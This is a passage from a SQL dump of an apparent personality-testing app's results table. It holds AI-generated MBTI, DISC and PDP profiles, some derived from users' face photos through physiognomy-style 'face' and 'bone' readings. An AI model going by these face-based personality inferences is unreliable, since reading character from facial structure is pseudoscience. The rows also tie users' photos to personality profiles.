\"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047182, 1773047182, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (92, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773047511, 1773047511, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (93, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773109282, 1773109282, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (94, 1, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"猫头鹰\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"C\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。理性思维主导,善于长期规划和系统性思考。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"], \"faceAnalysis\": null, \"personalitySummary\": \"基于AI面相分析,您展现出较强的逻辑分析能力和独立思考能力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773109761, 1773109761, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (95, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健,善于规划与分析,做事有节奏,抗压与持续力强,适合深度思考与系统搭建型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606dde213.19573884.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606a57237.43033150.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606bdb774.70305849.jpg\"], \"boneAnalysis\": \"额区骨势平正,中上停过渡顺畅,骨肉均衡偏稳健型,属土金气质,重视现实与长期稳步推进。\", \"faceAnalysis\": \"额头饱满略宽,眼神沉稳有聚焦力,眉眼距离适中,整体给人理性内敛、思路清晰的印象。\", \"personalitySummary\": \"性格内敛理智,重视逻辑与结构,做事有计划感与原则边界,偏结果导向,不喜情绪化,人际上选择性投入,信任后稳定可靠。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773127193, 1773127193, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (96, 1, 'resume', '{\"content\": \"综合分析生成失败,请稍后重试。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773129576, 1773129576, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (97, 1, 'resume', '{\"content\": \"下面这几份测评结果之间存在明显冲突(AI 面相:INTJ+D/C、问卷:ESTJ、PDP:孔雀85%+老虎15%、DISC:I 型100%),说明: \\n- 一部分结果偏“内向、理性、规划型”(INTJ / D+C); \\n- 另一部分则是典型“外向、表现、社交型”(ESTJ / 孔雀 / I 型)。 \\n\\n要得出“真实性格画像”,需要**假定真实人是一个:外向、偏理性、行动导向,兼具表达欲与管理意识的人**。下面是基于测评交叉验证 + 典型画像的综合结论(简历细节看不到,只能弱化对具体行业/岗位的判断,也会提示哪些点需要你自己对照验证)。\\n\\n---\\n\\n## 一、核心性格关键词(归纳后的人格底色)\\n\\n- 外向表达:强社交驱动力,喜欢说、敢表达、在群体中有存在感。 \\n- 现实务实:关注“现在怎么做”“事情如何落地”,不沉迷空想。 \\n- 结果导向:重视目标、绩效和可见成果,有一定“赢”的欲望。 \\n- 逻辑清晰:结构化思考,能把事情拆解、排序、制定步骤。 \\n- 主动掌控:偏喜欢主导、组织、发起,而不是被动跟随。 \\n- 情绪乐观:基调偏阳光,抗挫后容易自我鼓励再冲一次。 \\n- 自我要求高:对自己在他人眼中的表现和成就感有强需求。\\n\\nAI 面相给出的 “INTJ / 老虎+猫头鹰 / D+C” 更像你在“独立思考、冷静决策”时的理性内核;问卷测评 “ESTJ / 孔雀 / I 型” 更像你在“工作场景+社交场景”中的对外表现。整体呈现为:**外向型管理者 + 理性分析底色**。\\n\\n---\\n\\n## 二、真实性格深度分析\\n\\n### 1. 性格底色与潜在特质(结合生日倾向 + INTJ/ESTJ 混合特征)\\n\\n在不做玄学的前提下,生日只作为“人生阶段”判断: \\n- 若目前在 25–35 岁:通常是**从“表现者”向“管理者”过渡期**,会从单纯爱表现、爱说服,转向更重视结果与权威; \\n- 若在 30+:更容易体现出“控制局面、规划全盘”的一面。\\n\\n结合 INTJ(规划+逻辑)与 ESTJ(执行+管理)两种画像,你的**本质并不是真·情绪型社交咖,而是一个有计划、讲逻辑的人,只是社交和表达能力也很强**。 \\n\\n潜在特质包括: \\n- 有“我要做出点成绩”的强内驱; \\n- 对“组织、规则、流程”有天然敏感; \\n- 面子与他人评价对你重要,会驱动你多做、多争取舞台; \\n- 内心并不完全随性,喜欢自己心里有一张“路线图”。\\n\\n### 2. 真实行为风格(结合工作经历推断)\\n\\n虽然没看到具体简历内容,只能按常见轨迹做逻辑推演,需要你自己对照:\\n\\n**若你的工作经历包含:销售、商务、市场、项目协调、管理岗:** \\n- 高度符合“ESTJ + 孔雀 + I 型”: \\n - 乐于外出、谈判、主持会议、做方案汇报; \\n - 在团队中易演变成“说话多、推动力强”的那个人; \\n - 对流程、进度节点、业绩数字敏感,催进度、要结果不含糊。 \\n\\n**若你的经历更偏:运营管理、项目管理、团队负责人:** \\n- 说明你的“控制+规划”部分已经被激活: \\n - 能把复杂任务拆分成步骤,安排到人,跟踪落地; \\n - 在出现问题时,先分析逻辑和责任,再考虑情感安抚; \\n - 会用数据、事实说话,而不是仅靠情绪鼓舞。 \\n\\n整体行为模式可概括为: \\n> “先把人带动起来 → 再用结构和规则把事情落地 → 完成目标后又希望得到认可和掌声。”\\n\\n### 3. 抗压能力与做事习惯\\n\\n- **抗压能力** \\n - 对“短期高压、快节奏、强目标”的环境适应度高(如季度冲刺、项目节点)。 \\n - 在“持续模糊、长期看不到结果”的环境中会烦躁,容易质疑方向或改变路径。 \\n\\n- **做事习惯** \\n - 偏爱“有清晰目标+时间节点”,喜欢列计划、做表格、做排期。 \\n - 执行上快,愿意边干边调整,不喜拖延。 \\n - 对细节能做到“80 分认真”,但在极端细腻、重复性细活上容易浮躁。 \\n\\n- **人际模式** \\n - 在团队中倾向于做“气场较强的核心人物”:要么是领头羊,要么是关键 KOL。 \\n - 习惯用“讲道理+讲结果”方式沟通,可能略显直接。 \\n - 对“低效、拖延、不负责”的人容忍度低,容易在语气上带出不耐烦。 \\n\\n这部分与 D 型(主导)、I 型(影响)、老虎(行动)、孔雀(表现)高度吻合。\\n\\n---\\n\\n## 三、测评交叉验证:去伪存真的人格画像\\n\\n### 1. MBTI 冲突的校正\\n\\n- 面相:INTJ(内向+理性+规划) \\n- 问卷:ESTJ(外向+理性+执行) \\n\\n结合 PDP / DISC 的高孔雀、高 I 型,**你的现实工作中更接近 ESTJ:外向、现实、讲规则、强调结果**。 \\nINTJ 的成分可能体现在: \\n- 你比典型“社牛”多一点**独立思考和逻辑规划**; \\n- 在做关键决策时,你倾向先自己冷静想一圈,再去说服别人,而不是一味随大家; \\n- 有一定“看不惯低效率”的完美主义倾向。\\n\\n结论: \\n> MBTI 上更接近:E–S–T–J,带一点 N(规划、抽象思考)的影子,远离 F(过度感性)。\\n\\n### 2. PDP:孔雀 85% + 老虎 15%\\n\\n- 孔雀:表现、影响力、情绪感染。 \\n- 老虎:目标、控制、竞争。 \\n\\n你看起来不是“单纯爱玩爱聊”的孔雀,而是“带野心、带结果意识的孔雀”。 \\n- 在需要舞台感、演讲、主持、推动氛围的场景,你会很自然地站出来; \\n- 一旦涉及利益、成绩、晋升,会明显激活“老虎”那一面:更强势、更坚持原则。 \\n\\n### 3. DISC:I 型 100%,第二为 D\\n\\n- I:影响力、社交、情绪感染; \\n- D:主导、决断、冲劲。 \\n\\n结合 ESTJ 与老虎成分: \\n- 真实状态更像 **“ID 型”**:既要人、也要事。 \\n- 对领导、客户:会用热情和结果说话; \\n- 对下属/同事:既能“带节奏”,也会因为过于直接而不自觉给压力。\\n\\n---\\n\\n## 四、行为与沟通风格\\n\\n### 1. 行为风格\\n\\n- 典型“说-干一体型”:喜欢边讨论边拍板,拍板后立即推进; \\n- 决策方式:偏“快速+信息足够即可”,不是追求完美信息,而是“先做再优化”; \\n- 在团队中容易占中心位:主持会议、总结发言、做关键决策; \\n- 喜欢有可见进展的事情,对长期无反馈的琐碎任务兴趣低。\\n\\n### 2. 沟通风格\\n\\n- 语言直接、结构清晰:会说“核心有几条”“结论先说”。 \\n- 以“道理+目标+数据”说服别人: \\n - 对上:强调成果与可行性,争取资源; \\n - 对下:强调标准和责任,边鼓励边施压。 \\n- 正面情绪表达显性:善于鼓舞、打鸡血、造氛围; \\n- 负面情绪容易通过语气、表情显露:不满时很难完全掩饰。 \\n\\n**风险点**:在压力或节奏很快时,容易显得: \\n- 话多但听得不够多; \\n- 关注任务多于感受,被人贴上“有点强势/有点功利”的标签。\\n\\n---\\n\\n## 五、优势亮点(可在工作中刻意放大的部分)\\n\\n1. **强推动力与执行落地能力** \\n - 能设定明确目标→拆解成执行步骤→持续跟进,适合做项目 owner、团队负责人、业务骨干。 \\n\\n2. **沟通与影响力强** \\n - 能把复杂事务讲清楚、讲明白,有说服力; \\n - 适合对外(客户、伙伴)沟通,对内(团队)动员。 \\n\\n3. **结果导向、责任感强** \\n - 对自己负责的事有“非搞好不可”的执念; \\n - 有一定“替组织操心”的属性,天然具备管理潜力。 \\n\\n4. **逻辑与结构能力不错** \\n - 能快速抓重点、搭框架,对流程、制度、规范化有敏感度; \\n - 在需要制度建设、流程优化、项目梳理时有优势。 \\n\\n5. **抗压和适应快节奏** \\n - 在“多任务+高节奏+强目标”的业务环境中能跑得起来; \\n - 面对变化能迅速调整策略,而不是僵在原地。\\n\\n---\\n\\n## 六、可提升方向(真实短板与发展建议)\\n\\n1. **倾听与情绪敏感度** \\n - 风险:在推进任务和讲道理时,容易忽视他人真实感受; \\n - 建议: \\n - 每次决策前养成“先问三分钟,再讲三分钟”的习惯; \\n - 对关键成员,定期做一对一沟通,刻意问“你有什么顾虑和困难”。 \\n\\n2. **细节耐心与长期主义** \\n - 风险:在没有即时反馈的长期任务、细腻工作(如复杂数据分析、文档精修)中容易失去耐心; \\n - 建议: \\n - 把长期任务拆成多个“小里程碑”,每周给自己一个可见成就; \\n - 把关键细节工作分配给适合的 C/S 型伙伴,自己做决策与协调。 \\n\\n3. **控制欲与授权** \\n - 风险:老虎+D 的成分会导致“什么都想管、事事想确认”,容易累自己、压别人; \\n - 建议: \\n - 明确哪些事情“必须亲自”,哪些可以“设规则+定结果”; \\n - 对团队多用“结果管理”而非“过程控制”,减少微观干预。 \\n\\n4. **情绪管理与表达方式** \\n - 风险:压力大时语言锋利、语气急,损害长期合作关系; \\n - 建议: \\n - 在高压场景下刻意用“问题导向”替代“情绪指责”,如: \\n - 把“你怎么又……”换成“这次问题的关键点在哪,我们下次怎么避免”; \\n - 对重要对象(上级、关键同事)在冲突后及时“复盘+修复关系”。 \\n\\n5. **战略思维与视角拉高** \\n - 当前偏“战术执行+组织管理”,战略层面(行业趋势、资源布局、组织设计)需要强化; \\n - 建议: \\n - 多参与跨部门项目,主动争取“组织级”的任务; \\n - 多向上级/前辈学习:他们如何看待长期布局与风险管理。\\n\\n---\\n\\n如果你愿意补充: \\n- 出生年月日 \\n- 过往 2–3 段关键工作经历(行业/岗位/负责内容) \\n\\n我可以在此基础上,把上面的通用分析进一步细化成:**更贴近你行业发展路径的职业定位与中长期发展建议**。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773129620, 1773129620, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (98, 1, 'resume', '{\"content\": \"下面的分析基于: \\n- 人脸分析:INTJ + PDP「老虎」、DISC「D/C」 \\n- MBTI 测试:ESTJ(E/S/T/J 极高分) \\n- PDP 测试:孔雀型(主 Peacock,辅 Tiger) \\n- DISC 测试:I 型为主、D 为辅 \\n- 你上传了简历,但图片内容我无法读取,因此无法结合具体工作经历、生日做更细致的印证,只能从多份测评之间做“去伪存真”的综合判断。后面如果你能补充文字版的工作经历与生日,我可以给一版更接地气的“行为风格复盘”。\\n\\n在当前信息有限的前提下,我会给出一个“高可信核心画像 + 若干可能分支”的结构化结论。\\n\\n---\\n\\n## 一、核心性格关键词(综合提炼)\\n\\n从多份测评中相对稳定、可互相印证的特征来看,你大概率具备:\\n\\n**核心底色:**\\n- 目标导向、结果思维\\n- 逻辑清晰,偏理性决策\\n- 行动派,有执行力、有主见\\n- 组织、掌控倾向明显(喜欢有秩序、有计划)\\n\\n**在人际与工作场景中常见特征:**\\n- 带有一定的领导/主导欲 \\n- 愿意表达观点,敢于决策 \\n- 不怕冲突,更关注解决问题和推进结果 \\n- 在自己熟悉的领域,显得自信、果断\\n\\n---\\n\\n## 二、真实性格深度分析(去伪存真)\\n\\n### 1. MBTI、PDP、DISC 之间的矛盾点\\n\\n- 面相:INTJ+D/C → 偏**内向、理性、战略性、自控强**\\n- MBTI 测评:ESTJ → 偏**外向、务实、执行强、组织者**\\n- PDP 测评:孔雀(Peacock,85%) + Tiger → 偏**外向、表现欲、社交活跃、影响他人**\\n- DISC 测评:I 型 + D → **影响型+支配型**,典型“爱说、爱带节奏、乐观感染人”。\\n\\n这几份结果存在明显冲突: \\n- 有的把你描述成“外向型组织者/表现者(ESTJ、Peacock、I 型)”; \\n- 有的把你描述成“理性、独立、略冷感的战略型(INTJ、D/C)”。\\n\\n这通常意味着两种可能:\\n\\n1. **你在工作/社交角色中表现得更外向、能说会道,但内在思维模式偏理性和掌控。** \\n2. 部分在线测评受“答题倾向”影响,夸大了你的外向、表现欲,而人脸分析和 D/C 倾向提示你其实更看重逻辑、控制、结果。\\n\\n### 2. 更可信的“核心人格底盘”\\n\\n从多维度交叉看,以下几条特征在所有版本里都**反复出现或隐含**,可信度较高:\\n\\n1. **理性决策占主导** \\n - INTJ、ESTJ、D、老虎、Tiger 都指向: \\n - 偏「T」而不是「F」:做决定看事实、逻辑、利弊,而不是情绪和关系优先。 \\n - 习惯快速判断:什么是对的、什么是有效的。\\n\\n2. **强目的性和控制感需求** \\n - D 型、Tiger、ESTJ、INTJ 的共同点: \\n - 喜欢掌握节奏,不愿被动等待或被人牵着走。 \\n - 在项目/团队中容易自然站到“主导/决策/推动”位置。 \\n - 面对模糊和混乱,会本能地想建立规则、流程、优先级。\\n\\n3. **较强的结构化与执行力** \\n - ESTJ 的 J + S,D/C 的 C,老虎+猫头鹰等,都指向你: \\n - 能把目标拆解为计划并落地执行。 \\n - 不排斥流程和规则,甚至会主动制定标准。 \\n - 对“拖延、反复、模糊指令”容忍度不高。\\n\\n4. **情绪相对稳定,抗压能力中高档** \\n - 老虎、D 型、ESTJ 都意味着: \\n - 面对压力更倾向于解决问题,而非逃避。 \\n - 紧张情境下,有一定硬扛能力,会选择“顶上去”,而不是明显退缩。 \\n - 表面情绪控制较好,不会在工作场合频繁情绪化。\\n\\n### 3. 关于“外向/内向”的真实情况\\n\\n矛盾点在于: \\n- 面相:INTJ + D/C → 偏内敛、理性,精力投向任务和思考。 \\n- 测评:ESTJ + 孔雀 + I 型 → 强烈外向、表达欲强、喜欢社交。\\n\\n更合理的解释不是“要么内向要么外向”,而是:\\n\\n> **你属于「任务场景外向、私下可能收敛」的类型。**\\n\\n- 在工作需要你去沟通、协调、影响别人时: \\n - 你能很自然地打开自己,敢说敢表达,甚至偏强势,逻辑清晰、直奔主题。 \\n- 但在真正放松的私人生活中: \\n - 你未必喜欢「无效社交」;更愿意一个人/少数人深度交流,而不是在大场合持续充当焦点。 \\n- 你对社交的态度更像“为了目标服务的工具”,而不是单纯享受社交本身。\\n\\n---\\n\\n## 三、行为与沟通风格(工作场景下的真实模样)\\n\\n### 1. 做事习惯\\n\\n- **有计划、有目标感**:更习惯先弄清目标,再讨论怎么做;不喜欢边做边变更方向。 \\n- **讲效率、不磨叽**:倾向快速决策,看到明显的不合理会直接提出或调整。 \\n- **重结果、重标准**:任务若没有清晰指标会不舒服,你会主动帮团队明确“什么算做好”。 \\n- **对细节有选择性关注**:重要细节不会放过,但对你认为“不影响结果”的细节容忍度较高。\\n\\n### 2. 抗压与应对方式\\n\\n- 压力上来时,你更可能: \\n - 开始划优先级:先干关键的,丢掉不重要的。 \\n - 收紧控制:更多亲自盯、亲自决策,对他人犯错的耐心下降。 \\n - 语气变硬、容错率下降,但仍以“把事搞定”为主线。\\n\\n- 你不喜欢长期处在完全失控、完全被动的局面,如果环境过于混乱,可能会选择“要么接管,要么离开”。\\n\\n### 3. 人际与沟通模式\\n\\n- **表达风格:直截了当、偏理性** \\n - 说话逻辑清楚、结论先行,不太习惯绕圈子。 \\n - 容易被觉得“有点强势/不够温柔”,尤其在指出问题时。\\n\\n- **合作风格:喜欢靠谱、有担当的人** \\n - 对拖延、情绪化、缺乏责任感的人容易不耐烦。 \\n - 和专业度高、对结果负责的人,很快可以建立信任。\\n\\n- **影响他人的方式** \\n - 不是靠“讨喜”,而是靠专业和决心; \\n - 在需要时,也能通过较强的表达能力、感染力带动团队。\\n\\n---\\n\\n## 四、优势亮点(综合 MBTI / PDP / DISC)\\n\\n1. **目标驱动 + 执行力强** \\n - 设定目标之后,能迅速拆解任务、分配资源、推动落地,是典型的“做成事”的人。\\n\\n2. **逻辑清晰,决策能力好** \\n - 看到信息后能快速判断优先级和风险,倾向于理性分析,而非被情绪带节奏。\\n\\n3. **有领导与组织潜质** \\n - 敢于承担责任、习惯站在“整体视角”看问题。 \\n - 在团队里容易自然成为“说了算/拍板的人”。\\n\\n4. **在关键场景中能外向表达、影响他人** \\n - 虽不一定是全场最爱社交的人,但在工作情境里,你能站出来讲话、谈判、推动项目。\\n\\n5. **抗压能力中上,有硬度** \\n - 在压力来临时,有继续推进的韧性,不轻易放弃或被情绪拖垮。\\n\\n---\\n\\n## 五、可提升方向(针对你这种“理性 + 控制 + 行动派”组合)\\n\\n1. **柔化沟通方式,区分“对事”和“对人”**\\n - 保持对结果的高标准,但在表达问题和反馈时: \\n - 多用“我观察到…”、“我们可以尝试…”代替“你怎么…”。 \\n - 先肯定再指出问题,降低对他人情绪的冲击。 \\n - 这能减少别人对你“强势/不好相处”的误解,提升合作效率。\\n\\n2. **增加对他人情绪与节奏的容忍度**\\n - 并非所有人都以效率为中心,有些人需要更多情感安全感和鼓励。 \\n - 适当拉长自己的“容错时间”,把“如何带出团队”视为和“把事做成”同等重要的目标。\\n\\n3. **避免过度控制与亲力亲为**\\n - 你的掌控感强,容易“看不惯就自己做”,短期效率高,但容易累,团队成长慢。 \\n - 更有价值的是: \\n - 明确结果和边界, \\n - 放权 + 关键节点把关, \\n - 只抓关键 20% 的事情。\\n\\n4. **警惕因过度理性而忽视长期关系资产**\\n - 将“人际关系、信任、口碑”纳入你的“结果指标”。 \\n - 不只是“事做成了”,而是“事做成的同时,让人愿意跟你继续做下一件事”。\\n\\n5. **自我节奏管理,防止长期高压硬撑**\\n - 你可能习惯“先把事干了再说休息”,容易透支。 \\n - 在高强度周期中,刻意安排: \\n - 短暂的断网休息、 \\n - 纯兴趣的活动、 \\n - 高质量的独处或少量深度社交, \\n - 用来恢复你的专注和判断力。\\n\\n---\\n\\n## 小结:一个更贴近真实的画像\\n\\n你更像是一个:\\n\\n> **以结果为导向、理性分析为底色,在工作场景中可以主动外向、善于组织和掌控局面的行动派。**\\n\\n- 内在:重逻辑、重掌控、重效率,不喜欢无序和拖拉。 \\n- 外在:在需要时能表现得外向、有说服力、有感染力,但本质上社交是服务于目标的工具。 \\n- 擅长:定目标、理清思路、推动执行、扛压力。 \\n- 易被误解:太直接、太强势、不够“温柔/顾情绪”。 \\n\\n如果你方便补充: \\n1)出生日期(精确到年月日) \\n2)简历里的关键经历(行业、职位、负责内容、任职时长) \\n\\n我可以在此基础上进一步校正,给你一版更贴近你真实工作场景的“行为与职业匹配度细化分析”。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 0, 0, NULL, 1773130628, 1773130628, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (99, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,重视长期规划与稳健推进,适合在专业与管理结合岗位深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg\"], \"boneAnalysis\": \"骨骼偏土形稳健,骨肉均衡,颌骨承载力强,中庭与鼻部突出现实感与责任心,具长期抗压与守成能力。\", \"faceAnalysis\": \"额头宽阔,眼神专注,鼻梁端正,嘴形收敛,下巴厚实,整体面相稳重理性,偏重思考与执行并重。\", \"personalitySummary\": \"性格内敛理性,注重逻辑与系统思考,决策谨慎而有主见,做事稳扎稳打,擅长在复杂环境中分析问题并推进落地。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773130642, 1773130642, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (100, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,擅长规划与稳健推进,做事有原则,重视长期发展与现实成效。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg\"], \"boneAnalysis\": \"面部骨骼偏土金形,骨肉匀称,颧区内敛不外凸,下颌承托感强,体现稳健持久与现实判断力。\", \"faceAnalysis\": \"额头饱满,下巴厚实,五官线条圆中带棱,神情稳重,整体给人理性沉稳、思考周密之感。\", \"personalitySummary\": \"性格偏理性克制,重视逻辑与效率,做事有计划且坚持度高,人际有边界感但可靠可信,适合承担长期复杂任务与关键责任。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773130960, 1773130960, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (101, 1, 'resume', '{\"content\": \"下面是基于你目前提供的数据做的“初步画像”,因为简历内容图片我还看不到具体文字,只能先根据测评结果和你给的信息做框架式判断。等你补充简历文本(生日、工作经历),我可以再做一次更精准的“校正”和细化。\\n\\n---\\n\\n## 一、核心性格关键词(在现有信息基础上的“初稿”)\\n\\n- 外向表达强 / 乐于社交(E,高 I / 孔雀 / I型)\\n- 结果导向、执行力强(ESTJ、部分老虎、D)\\n- 乐观、有感染力、擅长影响他人(孔雀 / I型)\\n- 逻辑清晰、决策偏理性(T、INTJ 面相分析)\\n- 组织、规划和掌控欲较强(J、ESTJ、D)\\n- 可能存在:情绪耐受一般、容易对低效与拖延不耐烦、注意力分散或过度乐观\\n\\n> 说明:目前多份测评之间存在明显“冲突”(INTJ + D/C vs ESTJ + 孔雀 + I型),在没有工作经历和生日信息印证前,只能先给出一个“折中后的大致轮廓”。\\n\\n---\\n\\n## 二、真实性格深度分析(基于多测评交叉取中)\\n\\n### 1. 性格底色(以 MBTI ESTJ + PDP 孔雀 + DISC I 为主,兼顾面相 INTJ+D/C)\\n\\n- **外向倾向:明显偏外向 E**\\n - MBTI:E 得分 8:0\\n - PDP:孔雀 85%\\n - DISC:I 100%\\n → 真实中,很难是典型的“社交内向型”。更可能是: \\n 在熟悉环境中非常外向、健谈、有存在感,在陌生或专业场合会切换到“理性、控制局面”的模式。\\n\\n- **思维方式:现实理性 + 过程有序**\\n - MBTI:S(务实)+ T(理性决策)+ J(讲规则、重计划)\\n - 面相&DISC/D:逻辑分析、条理性、目标导向 \\n → 行为决策多以“现实可行性、成本收益”为基准,很少纯情绪化决策。对模糊、拖延和反复变更不耐烦。\\n\\n- **核心驱动力:成就 & 影响力 & 控制感**\\n - ESTJ:喜欢“组织、管理、推动进展”\\n - 孔雀 / I:喜欢“被看见、影响他人、气氛与人际反馈”\\n - D:喜欢“掌控局面、说了算”\\n → 综合来看,更可能是: \\n 既希望“事情有效率、结果达成”,又希望“自己是关键人物、被看到、能影响团队和氛围”。\\n\\n### 2. 情绪与压力反应(暂为推测版)\\n\\n- 面对压力,更可能表现为:\\n - 先上手解决问题,行动优先;\\n - 对他人拖慢节奏或不配合容易着急、发火;\\n - 不太愿意公开展示脆弱,更习惯“硬扛+往前推”。\\n- 在高压或反复被否定的环境中,可能会:\\n - 控制欲上升、语气变强势;\\n - 对细节和错误挑剔;\\n - 或出现短时逃避:注意力分散、转向社交或其他刺激来“分心”。\\n\\n---\\n\\n## 三、行为与沟通风格(从三类测评交集提炼)\\n\\n### 1. 行为风格(做事方式)\\n\\n**很可能的真实行为特征:**\\n\\n- 快节奏、行动型:不喜欢长时间空谈,更偏“边做边调”。\\n- 结构化:喜欢清晰的目标、时间表、优先级;讨厌混乱和没有决策。\\n- 现实实用:方案要落地、要有效,不爱“空想型创意会”。\\n- 需要自主权:对过度控制、反复否决会强烈不适;更适合被赋予责任和空间。\\n\\n**可能出现的行为盲点:**\\n\\n- 容易忽略他人情绪体验,认为“事情比感受重要”;\\n- 对节奏慢、风格细腻的人(高S、高F、高C)缺耐心;\\n- 可能因为乐观+自信,低估风险、细节或长期隐患。\\n\\n### 2. 沟通风格\\n\\n- **与下属/同事** \\n - 语言直接,指令清晰,强调“结果、时间节点、标准”;\\n - 擅长在团队里“打气”“带动情绪”,同时推进任务;\\n - 喜欢开门见山,不擅长长篇铺垫或过度安抚。\\n- **与上级/客户** \\n - 用数据、事实、案例说话,表达有条理;\\n - 会展示自信与掌控感,给人“靠谱、能干”的印象;\\n - 对模糊要求有时会“反问、追问”,希望边界更清晰。\\n- **社交场合** \\n - 易成为话题中心或组织者型角色;\\n - 善于调动氛围、快速建立关系,但对深度情绪、脆弱话题不一定愿意停留太久。\\n\\n---\\n\\n## 四、优势亮点(多测评共同指向的真实优势)\\n\\n1. **组织与执行能力强**\\n - 擅长拆解目标、制定计划、分派任务、盯进度;\\n - 能把一群人组织起来,朝同一个结果推进。\\n\\n2. **影响力与号召力**\\n - 外向表达 + 孔雀/I型,使你在团队中自然具备“带动情绪、影响氛围”的能力;\\n - 非常适合担任项目负责人、团队leader、BD/销售管理等对人和结果双重要求的角色。\\n\\n3. **理性决策、敢于拍板**\\n - 以事实、逻辑、经验为依据,敢做决定、敢担责;\\n - 在混乱和犹豫的环境中能“站出来给方向”。\\n\\n4. **目标导向、抗干扰能力相对较好**\\n - 结果清晰时,容易进入“执行模式”,专注在完成任务上;\\n - 